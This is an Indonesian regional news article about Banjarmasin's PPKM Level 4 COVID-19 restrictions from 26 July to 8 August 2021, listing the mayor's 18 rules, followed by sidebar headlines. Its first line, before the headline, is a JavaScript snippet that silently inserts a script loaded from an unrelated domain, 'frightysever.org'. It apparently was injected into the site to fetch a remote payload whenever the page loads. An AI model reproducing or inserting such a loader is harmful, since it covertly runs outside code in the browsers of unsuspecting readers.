(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PENTING. Besok PPKM Level 4 Banjarmasin, Ini 18 Ketentuan dalam SE Wali Kota Ibnu Sina!


KANALKALIMANTAN.COM, BANJARMASIN – Terhitung mulai besok, Senin (26/7/2021) hingga Minggu (8/8/2021), Kota Banjarmasin akan menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4. Wali Kota Banjarmasin Ibnu Sina telah meneken Surat Edaran (SE) No 440/02-P2P/Dinkes tentang Penetapan PPKM level 4 di Banjarmasin dan Pengetatan di Beberapa Sektor yang menjadi petunjuk pelaksanaan, pada Minggu (25/7/2021).

Dalam jumpa pers yang digelar di kediamannya di Jl Dharma Praja Km 5 Banjarmasin, Ibnu Sina menyampaikan PPKM level 4 yang akan dilaksanakan mulai besok mengacu pada kebijakan pemerintah pusat yang ditetapkan sebelumnya.

“Ada 18 poin dalam SE edaran yang menjadi pedoman pelaksanaan PPKM level 4 atau PPKM Darurat yang dilaksanakan di Banjarmasin mulai besok,” kata Ibnu Sina.

 

 

Baca juga: Kalsel Kondisi Genting, Dewan ‘Sorot’ Langkah Pemprov Tangani Covid-19 

Simak 18 ketentuan dalam SE Wali Kota selengkapnya sebagai berikut:

  1. Penerapan PPKM LEVEL IV di Kota Banjarmasin dimulai tanggal 26 Juli sd 8 Agustus 2021, akan dievalusi sabtu tanggal 8 Agustus 2021.
  2. Untuk sektor instansi non esensial 50% WFO (50% WFH) Prokes Ketat.
  3. Untuk sektor instansi esensial 75% WFO (25% WFH) Prokes Ketat.
  4. Untuk sektor instansi kritikal 100% WFO (0% WFH) Prokes Ketat.
  5. Untuk supermarket (termasuk yang ada di Mall)/toko kelontong/pasar tradisional buka 50% kapasitas sd jam 20.00 WITA Prokes Ketat.
  6. Untuk Pusat Perbelanjaan Mall di TUTUP sementara, kecuali tenan yang menjual kebutuhan sehari-hari dan obat-obatan.
  7. tempat hiburan malam (Bar, karaoke, bioskop, Pub, bilyard dan tempat hiburan lainnya) 100% TUTUP.
  8. Konstruksi hanya utk PSN (pembangunan sarana negara) dan infrapublik
  9. Untuk restoran/rumah makan/warung makan/cafe hanya untuk take away (dibungkus).
  10. Sekolah online/daring.
  11. Pelaksanaan ibadah berjamaah hanya 25% dari kapasitas tempat ibadah dengan Protokol Kesehatan KETAT dan dipantau oleh pengurus tempat ibadah.
  12. Fasilitas umum DITUTUP.
  13. Kegiatan sosial/budaya/olah raga dan keagamaan (majelis taʼlim) DILIBURKAN SEMENTARA
  14. Resepsi Pernikahan DILARANG.
  15. Transportasi Umum kapasitas Paling banyak 70 %.
  16. Pelaku perjalanan dipersyaratkan kartu vaksin, PCR untuk Pesawat dan Ravid tes antigen untuk yang lainnya.
  17. Hal-hal lain yang belum diatur dalam Surat Edaran ini mengikuti ketentuan dari Pemerintah Pusat.
  18. Kepada Kasat Pol PP dan Instansi terkait untuk melakukan Pemantauan Pelaksanaan Disiplin Protokol Kesehatan.

Baca juga: Guru Khalil Dimakamkan di Kampung Kelahiran, Berdampingan Ayahanda KH Salim Ma’ruf

“Mau tidak mau, dilaksanakan. Sebetulnya, ini pilihan sulit,” ujar Ibnu Sina.

Pada SE PPKM tersebut, Ibnu Sina masih mencantumkan sejumlah bentuk kearifan lokal sepertu tempat ibadah tetap buka tapi dengan kapasitas 25 persen. (kanalkalimantan.com/kk)

Editor : kk

 

 

 

 


Al Ghifari

Recent Posts

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

3 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

3 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

4 jam ago

RSD Idaman Raih Peringkat 1 Eco-Office Award 2024

KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More

8 jam ago

Kadishub Balangan Cek Lapangan Pemasangan PJU

KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More

8 jam ago

Dialog Akhir Tahun 2024, Pemko Banjarbaru Terima Masukan dan Kritik

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More

9 jam ago

This website uses cookies.